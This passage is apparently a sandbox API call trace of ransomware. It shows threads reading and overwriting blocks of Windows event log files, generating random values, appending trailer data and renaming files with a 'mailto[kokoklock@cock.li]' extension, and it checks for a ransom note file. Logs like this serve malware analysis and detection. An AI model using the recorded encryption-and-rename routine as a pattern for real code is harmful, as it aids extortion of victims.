(in: Seed=0x9aafd80 | out: Seed=0x9aafd80) returned 0x933dfa79 [0063.669] RtlRandom (in: Seed=0x9aafd80 | out: Seed=0x9aafd80) returned 0xa2d943e1 [0063.669] RtlRandom (in: Seed=0x9aafd80 | out: Seed=0x9aafd80) returned 0xfa702539 [0063.669] RtlRandom (in: Seed=0x9aafd80 | out: Seed=0x9aafd80) returned 0xecd83496 [0063.669] RtlRandom (in: Seed=0x9aafd80 | out: Seed=0x9aafd80) returned 0xcddb7b23 [0063.669] RtlRandom (in: Seed=0x9aafd80 | out: Seed=0x9aafd80) returned 0x740543f [0063.669] RtlRandom (in: Seed=0x9aafd80 | out: Seed=0x9aafd80) returned 0x4bed1c77 [0063.669] RtlRandom (in: Seed=0x9aafd80 | out: Seed=0x9aafd80) returned 0x3cb2a374 [0063.669] RtlRandom (in: Seed=0x9aafd80 | out: Seed=0x9aafd80) returned 0x79abcffc [0063.669] RtlRandom (in: Seed=0x9aafd80 | out: Seed=0x9aafd80) returned 0x9e864a8 [0063.678] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b160 [0063.679] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479b50 [0063.679] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b868 [0063.679] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479b50) returned 1 [0063.680] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e4760) returned 1 [0063.680] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x55b40e8 [0063.681] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.681] ReadFile (in: hFile=0x3c0, lpBuffer=0x55b40e8, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x9aafd4c, lpOverlapped=0x0 | out: lpBuffer=0x55b40e8*, lpNumberOfBytesRead=0x9aafd4c*=0x4096, lpOverlapped=0x0) returned 1 [0063.954] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.954] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd2c8 [0063.954] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479b50 [0063.954] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33efd88 [0063.954] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33efd88) returned 1 [0063.954] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x55e8908 [0063.954] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33efd88 [0063.954] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33e4760 [0063.954] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e4760) returned 1 [0063.955] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479b50) returned 1 [0063.955] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd2c8) returned 1 [0063.955] WriteFile (in: hFile=0x3c0, lpBuffer=0x55e8908*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x9aafd4c, lpOverlapped=0x0 | out: lpBuffer=0x55e8908*, lpNumberOfBytesWritten=0x9aafd4c*=0x4096, lpOverlapped=0x0) returned 1 [0063.955] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55e8908) returned 1 [0063.955] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x11000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.955] WriteFile (in: hFile=0x3c0, lpBuffer=0x33efd88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x9aafd84, lpOverlapped=0x0 | out: lpBuffer=0x33efd88*, lpNumberOfBytesWritten=0x9aafd84*=0x20, lpOverlapped=0x0) returned 1 [0063.955] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33efd88) returned 1 [0063.955] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55b40e8) returned 1 [0063.955] WriteFile (in: hFile=0x3c0, lpBuffer=0x347b868*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x9aafd98, lpOverlapped=0x0 | out: lpBuffer=0x347b868*, lpNumberOfBytesWritten=0x9aafd98*=0x8, lpOverlapped=0x0) returned 1 [0063.955] WriteFile (in: hFile=0x3c0, lpBuffer=0x9aafdb0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x9aafd98, lpOverlapped=0x0 | out: lpBuffer=0x9aafdb0*, lpNumberOfBytesWritten=0x9aafd98*=0x4, lpOverlapped=0x0) returned 1 [0063.955] WriteFile (in: hFile=0x3c0, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x9aafd98, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x9aafd98*=0x4, lpOverlapped=0x0) returned 1 [0063.955] WriteFile (in: hFile=0x3c0, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x9aafd98, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x9aafd98*=0x6c, lpOverlapped=0x0) returned 1 [0063.955] WriteFile (in: hFile=0x3c0, lpBuffer=0x33e4800*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x9aafd98, lpOverlapped=0x0 | out: lpBuffer=0x33e4800*, lpNumberOfBytesWritten=0x9aafd98*=0x20, lpOverlapped=0x0) returned 1 [0063.956] WriteFile (in: hFile=0x3c0, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x9aafd98, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x9aafd98*=0x4, lpOverlapped=0x0) returned 1 [0063.956] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e4800) returned 1 [0063.956] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b160) returned 1 [0063.956] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b868) returned 1 [0063.956] CloseHandle (hObject=0x3c0) returned 1 [0064.322] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x96) returned 0x33eb450 [0064.322] wcscpy (in: _Dest=0x33eb450, _Source="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx") returned="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx" [0064.323] wcscat (in: _Dest=0x33eb450, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx.mailto[kokoklock@cock.li].d0e731" [0064.323] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-mui%4admin.evtx"), lpNewFileName="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-mui%4admin.evtx.mailto[kokoklock@cock.li].d0e731")) returned 1 [0064.664] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0064.664] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33eb450) returned 1 [0064.664] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx", dwFileAttributes=0x20) returned 0 [0064.664] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x36) returned 0x3433d68 [0064.664] wcscpy (in: _Dest=0x3433d68, _Source="C:\\Logs\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0064.664] wcscat (in: _Dest=0x3433d68, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Logs\\D0E731-Readme.txt") returned="C:\\Logs\\D0E731-Readme.txt" [0064.664] GetFileAttributesW (lpFileName="C:\\Logs\\D0E731-Readme.txt" (normalized: "c:\\logs\\d0e731-readme.txt")) returned 0x20 [0064.664] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3433d68) returned 1 [0064.665] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3481d98) returned 1 [0064.665] RtlExitUserThread (Status=0x1) Thread: id = 158 os_tid = 0x10f0 [0062.995] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-mui%4operational.evtx")) returned 0x20 [0062.995] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx", dwFileAttributes=0x20) returned 1 [0062.995] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-mui%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0062.995] GetFileSizeEx (in: hFile=0x3bc, lpFileSize=0x9b2fca8 | out: lpFileSize=0x9b2fca8*=69632) returned 1 [0062.995] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x10ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.995] ReadFile (in: hFile=0x3bc, lpBuffer=0x9b2fc7c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x9b2fc78, lpOverlapped=0x0 | out: lpBuffer=0x9b2fc7c*, lpNumberOfBytesRead=0x9b2fc78*=0x4, lpOverlapped=0x0) returned 1 [0062.996] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.996] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347cb00 [0062.996] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347cdd0 [0062.996] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347cab0 [0062.996] NtQuerySystemTime (in: CurrentTime=0x9b2fc54 | out: CurrentTime=0x9b2fc54*=132121176208934050) returned 0x0 [0062.996] RtlRandom (in: Seed=0x9b2fc60 | out: Seed=0x9b2fc60) returned 0xa832bd38 [0062.996] RtlRandom (in: Seed=0x9b2fc60 | out: Seed=0x9b2fc60) returned 0x5f877688 [0062.997] RtlRandom (in: Seed=0x9b2fc60 | out: Seed=0x9b2fc60) returned 0x860fa2d4 [0062.997] RtlRandom (in: Seed=0x9b2fc60 | out: Seed=0x9b2fc60) returned 0x7e9734ae [0062.997] RtlRandom (in: Seed=0x9b2fc60 | out: Seed=0x9b2fc60) returned 0x8c3ada1e [0062.997] RtlRandom (in: Seed=0x9b2fc60 | out: Seed=0x9b2fc60) returned 0xfab8550d [0062.997] RtlRandom (in: Seed=0x9b2fc60 | out: Seed=0x9b2fc60) returned 0xb81f04e4 [0062.997] RtlRandom (in: Seed=0x9b2fc60 | out: Seed=0x9b2fc60) returned 0x7f1ab16c [0062.997] RtlRandom (in: Seed=0x9b2fc60 | out: Seed=0x9b2fc60) returned 0x78294492 [0062.997] RtlRandom (in: Seed=0x9b2fc60 | out: Seed=0x9b2fc60) returned 0x9e3811c [0062.997] RtlRandom (in: Seed=0x9b2fc60 | out: Seed=0x9b2fc60) returned 0xb18bf206 [0062.997] RtlRandom (in: Seed=0x9b2fc60 | out: Seed=0x9b2fc60) returned 0x860cbc54 [0062.997] RtlRandom (in: Seed=0x9b2fc60 | out: Seed=0x9b2fc60) returned 0x8f97ab97 [0062.997] RtlRandom (in: Seed=0x9b2fc60 | out: Seed=0x9b2fc60) returned 0x120f9a89 [0062.997] RtlRandom (in: Seed=0x9b2fc60 | out: Seed=0x9b2fc60) returned 0x116760dd [0062.997] RtlRandom (in: Seed=0x9b2fc60 | out: Seed=0x9b2fc60) returned 0x8fee9505 [0062.997] RtlRandom (in: Seed=0x9b2fc60 | out: Seed=0x9b2fc60) returned 0x64d4343e [0062.997] RtlRandom (in: Seed=0x9b2fc60 | out: Seed=0x9b2fc60) returned 0xf57d06e5 [0062.997] RtlRandom (in: Seed=0x9b2fc60 | out: Seed=0x9b2fc60) returned 0xe2a6e98f [0062.997] RtlRandom (in: Seed=0x9b2fc60 | out: Seed=0x9b2fc60) returned 0x29fce217 [0062.997] RtlRandom (in: Seed=0x9b2fc60 | out: Seed=0x9b2fc60) returned 0x8172bfb4 [0062.997] RtlRandom (in: Seed=0x9b2fc60 | out: Seed=0x9b2fc60) returned 0x35d3b4f0 [0062.997] RtlRandom (in: Seed=0x9b2fc60 | out: Seed=0x9b2fc60) returned 0xce89ba0c [0062.997] RtlRandom (in: Seed=0x9b2fc60 | out: Seed=0x9b2fc60) returned 0x33d5a61b [0062.997] RtlRandom (in: Seed=0x9b2fc60 | out: Seed=0x9b2fc60) returned 0xd3f8199c [0062.997] RtlRandom (in: Seed=0x9b2fc60 | out: Seed=0x9b2fc60) returned 0x8d26b395 [0062.997] RtlRandom (in: Seed=0x9b2fc60 | out: Seed=0x9b2fc60) returned 0xb9220232 [0062.997] RtlRandom (in: Seed=0x9b2fc60 | out: Seed=0x9b2fc60) returned 0x5c64896a [0062.997] RtlRandom (in: Seed=0x9b2fc60 | out: Seed=0x9b2fc60) returned 0x43a91b31 [0062.997] RtlRandom (in: Seed=0x9b2fc60 | out: Seed=0x9b2fc60) returned 0x9599296c [0062.997] RtlRandom (in: Seed=0x9b2fc60 | out: Seed=0x9b2fc60) returned 0xc001a4ba [0062.997] RtlRandom (in: Seed=0x9b2fc60 | out: Seed=0x9b2fc60) returned 0x7a2fbdc1 [0063.006] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347cad8 [0063.008] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479f10 [0063.008] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347cb50 [0063.008] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479f10) returned 1 [0063.008] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347cb00) returned 1 [0063.008] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3475830 [0063.008] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.008] ReadFile (in: hFile=0x3bc, lpBuffer=0x3475830, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x9b2fc2c, lpOverlapped=0x0 | out: lpBuffer=0x3475830*, lpNumberOfBytesRead=0x9b2fc2c*=0x4096, lpOverlapped=0x0) returned 1 [0063.009] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.009] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fda18 [0063.009] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479f10 [0063.009] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347cb00 [0063.009] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347cb00) returned 1 [0063.009] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3482218 [0063.010] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347cb00 [0063.010] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347cb28 [0063.010] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347cb28) returned 1 [0063.010] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479f10) returned 1 [0063.010] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fda18) returned 1 [0063.010] WriteFile (in: hFile=0x3bc, lpBuffer=0x3482218*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x9b2fc2c, lpOverlapped=0x0 | out: lpBuffer=0x3482218*, lpNumberOfBytesWritten=0x9b2fc2c*=0x4096, lpOverlapped=0x0) returned 1 [0063.010] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3482218) returned 1 [0063.010] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x11000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.010] WriteFile (in: hFile=0x3bc, lpBuffer=0x347cb00*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x9b2fc64, lpOverlapped=0x0 | out: lpBuffer=0x347cb00*, lpNumberOfBytesWritten=0x9b2fc64*=0x20, lpOverlapped=0x0) returned 1 [0063.010] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347cb00) returned 1 [0063.010] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3475830) returned 1 [0063.010] WriteFile (in: hFile=0x3bc, lpBuffer=0x347cb50*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x9b2fc78, lpOverlapped=0x0 | out: lpBuffer=0x347cb50*, lpNumberOfBytesWritten=0x9b2fc78*=0x8, lpOverlapped=0x0) returned 1 [0063.010] WriteFile (in: hFile=0x3bc, lpBuffer=0x9b2fc90*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x9b2fc78, lpOverlapped=0x0 | out: lpBuffer=0x9b2fc90*, lpNumberOfBytesWritten=0x9b2fc78*=0x4, lpOverlapped=0x0) returned 1 [0063.011] WriteFile (in: hFile=0x3bc, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x9b2fc78, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x9b2fc78*=0x4, lpOverlapped=0x0) returned 1 [0063.011] WriteFile (in: hFile=0x3bc, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x9b2fc78, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x9b2fc78*=0x6c, lpOverlapped=0x0) returned 1 [0063.011] WriteFile (in: hFile=0x3bc, lpBuffer=0x347cdd0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x9b2fc78, lpOverlapped=0x0 | out: lpBuffer=0x347cdd0*, lpNumberOfBytesWritten=0x9b2fc78*=0x20, lpOverlapped=0x0) returned 1 [0063.011] WriteFile (in: hFile=0x3bc, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x9b2fc78, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x9b2fc78*=0x4, lpOverlapped=0x0) returned 1 [0063.011] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347cdd0) returned 1 [0063.011] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347cad8) returned 1 [0063.011] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347cb50) returned 1 [0063.011] CloseHandle (hObject=0x3bc) returned 1 [0063.014] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xa2) returned 0x33ce9d8 [0063.014] wcscpy (in: _Dest=0x33ce9d8, _Source="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx") returned="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx" [0063.014] wcscat (in: _Dest=0x33ce9d8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" [0063.014] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-mui%4operational.evtx"), lpNewFileName="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-mui%4operational.evtx.mailto[kokoklock@cock.li].d0e731")) returned 1 [0063.019] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0063.019] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33ce9d8) returned 1 [0063.019] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx", dwFileAttributes=0x20) returned 0 [0063.019] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x36) returned 0x3434668 [0063.019] wcscpy (in: _Dest=0x3434668, _Source="C:\\Logs\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0063.019] wcscat (in: _Dest=0x3434668, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Logs\\D0E731-Readme.txt") returned="C:\\Logs\\D0E731-Readme.txt" [0063.019] GetFileAttributesW (lpFileName="C:\\Logs\\D0E731-Readme.txt" (normalized: "c:\\logs\\d0e731-readme.txt")) returned 0x20 [0063.019] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3434668) returned 1 [0063.019] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e8600) returned 1 [0063.020] RtlExitUserThread (Status=0x1) Thread: id = 159 os_tid = 0x10f4 [0063.021] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-ncsi%4operational.evtx")) returned 0x20 [0063.021] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx", dwFileAttributes=0x20) returned 1 [0063.021] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-ncsi%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0063.021] GetFileSizeEx (in: hFile=0x3bc, lpFileSize=0x9baf7a0 | out: lpFileSize=0x9baf7a0*=69632) returned 1 [0063.021] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x10ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.021] ReadFile (in: hFile=0x3bc, lpBuffer=0x9baf774, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x9baf770, lpOverlapped=0x0 | out: lpBuffer=0x9baf774*, lpNumberOfBytesRead=0x9baf770*=0x4, lpOverlapped=0x0) returned 1 [0063.022] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.022] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347cb00 [0063.022] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347cdd0 [0063.022] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347cad8 [0063.022] NtQuerySystemTime (in: CurrentTime=0x9baf74c | out: CurrentTime=0x9baf74c*=132121176209090617) returned 0x0 [0063.023] RtlRandom (in: Seed=0x9baf758 | out: Seed=0x9baf758) returned 0x44cd185b [0063.023] RtlRandom (in: Seed=0x9baf758 | out: Seed=0x9baf758) returned 0xb00bb94d [0063.023] RtlRandom (in: Seed=0x9baf758 | out: Seed=0x9baf758) returned 0x44f9a1c6 [0063.023] RtlRandom (in: Seed=0x9baf758 | out: Seed=0x9baf758) returned 0x2d150181 [0063.023] RtlRandom (in: Seed=0x9baf758 | out: Seed=0x9baf758) returned 0x787a8c16 [0063.023] RtlRandom (in: Seed=0x9baf758 | out: Seed=0x9baf758) returned 0xf5f85068 [0063.023] RtlRandom (in: Seed=0x9baf758 | out: Seed=0x9baf758) returned 0x1e2b8627 [0063.023] RtlRandom (in: Seed=0x9baf758 | out: Seed=0x9baf758) returned 0x7761854a [0063.023] RtlRandom (in: Seed=0x9baf758 | out: Seed=0x9baf758) returned 0xbcba88e6 [0063.023] RtlRandom (in: Seed=0x9baf758 | out: Seed=0x9baf758) returned 0x47b8c418 [0063.023] RtlRandom (in: Seed=0x9baf758 | out: Seed=0x9baf758) returned 0xa3cf53db [0063.023] RtlRandom (in: Seed=0x9baf758 | out: Seed=0x9baf758) returned 0x618e59b5 [0063.023] RtlRandom (in: Seed=0x9baf758 | out: Seed=0x9baf758) returned 0x488d75be [0063.023] RtlRandom (in: Seed=0x9baf758 | out: Seed=0x9baf758) returned 0xe300ba95 [0063.023] RtlRandom (in: Seed=0x9baf758 | out: Seed=0x9baf758) returned 0x87d30249 [0063.023] RtlRandom (in: Seed=0x9baf758 | out: Seed=0x9baf758) returned 0x1500ebc5 [0063.023] RtlRandom (in: Seed=0x9baf758 | out: Seed=0x9baf758) returned 0x6bb2e122 [0063.023] RtlRandom (in: Seed=0x9baf758 | out: Seed=0x9baf758) returned 0xdb76c6b1 [0063.023] RtlRandom (in: Seed=0x9baf758 | out: Seed=0x9baf758) returned 0x48c9b826 [0063.023] RtlRandom (in: Seed=0x9baf758 | out: Seed=0x9baf758) returned 0xe942b63c [0063.023] RtlRandom (in: Seed=0x9baf758 | out: Seed=0x9baf758) returned 0x638dbb9 [0063.023] RtlRandom (in: Seed=0x9baf758 | out: Seed=0x9baf758) returned 0x36608219 [0063.023] RtlRandom (in: Seed=0x9baf758 | out: Seed=0x9baf758) returned 0x8f033279 [0063.023] RtlRandom (in: Seed=0x9baf758 | out: Seed=0x9baf758) returned 0xfaa60b93 [0063.023] RtlRandom (in: Seed=0x9baf758 | out: Seed=0x9baf758) returned 0xb66dce13 [0063.023] RtlRandom (in: Seed=0x9baf758 | out: Seed=0x9baf758) returned 0xe4208d19 [0063.023] RtlRandom (in: Seed=0x9baf758 | out: Seed=0x9baf758) returned 0x58c01fe4 [0063.023] RtlRandom (in: Seed=0x9baf758 | out: Seed=0x9baf758) returned 0x5e5a5b9e [0063.023] RtlRandom (in: Seed=0x9baf758 | out: Seed=0x9baf758) returned 0x3228b28d [0063.023] RtlRandom (in: Seed=0x9baf758 | out: Seed=0x9baf758) returned 0x9dad7f0b [0063.023] RtlRandom (in: Seed=0x9baf758 | out: Seed=0x9baf758) returned 0x838a6d07 [0063.023] RtlRandom (in: Seed=0x9baf758 | out: Seed=0x9baf758) returned 0x59365575 [0063.070] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347cb28 [0063.072] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479f10 [0063.072] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347cb50 [0063.072] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479f10) returned 1 [0063.072] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347cb00) returned 1 [0063.072] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3475830 [0063.072] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.072] ReadFile (in: hFile=0x3bc, lpBuffer=0x3475830, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x9baf724, lpOverlapped=0x0 | out: lpBuffer=0x3475830*, lpNumberOfBytesRead=0x9baf724*=0x4096, lpOverlapped=0x0) returned 1 [0063.073] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.073] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fda18 [0063.073] 